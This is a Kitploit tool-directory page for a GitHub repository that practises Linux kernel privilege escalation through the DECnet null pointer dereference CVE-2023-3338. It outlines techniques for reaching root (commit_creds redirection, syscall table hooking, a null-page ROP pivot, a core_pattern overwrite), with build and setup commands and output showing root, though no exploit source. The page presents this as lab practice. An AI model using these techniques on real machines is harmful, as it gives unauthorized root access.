Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-3338-DECPwn — Linux kernel LPE practice with an NPD vulnerability | Kitploit
Tools/GitHubGitHub/turtlearm/cve-2023-3338-decpwn
Privilege EscalationExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubturtlearm/cve-2023-3338-decpwn

CVE-2023-3338-DECPwn

Linux kernel LPE practice with an NPD vulnerability

View Repository
357313 years agoReviewed by Kitploit
Share

DECPwn

Practicing different Linux kernel exploitation techniques with my DECnet vulnerability and null page mapping enabled.


Scenarios

  • Everything disabled: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"

    Code execution is redirected to the output function in userland, which invokes commit_creds(prepare_kernel_cred(0)).

  • Syscall Hooking

    Swap the mkdir system call handler address inside the sys_call_table with a function resembling the one in Scenario 1.

  • SMEP and KPTI enabled: qemu-system-x86_64 -append "nosmap nokaslr"

    Code execution is redirected to a stack pivot that sets $rsp to a ROP chain in the null page.

  • Usermode Helper

    The core_pattern sysctl is overwritten to specify a command to run with elevated privileges when dumping core.

    The program is then interrupted with the SIGABRT signal to trigger the usermode script.

Build

apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie

Run

Configure DECnet as root:

sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address

Run the exploit as unprivileged user:

$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →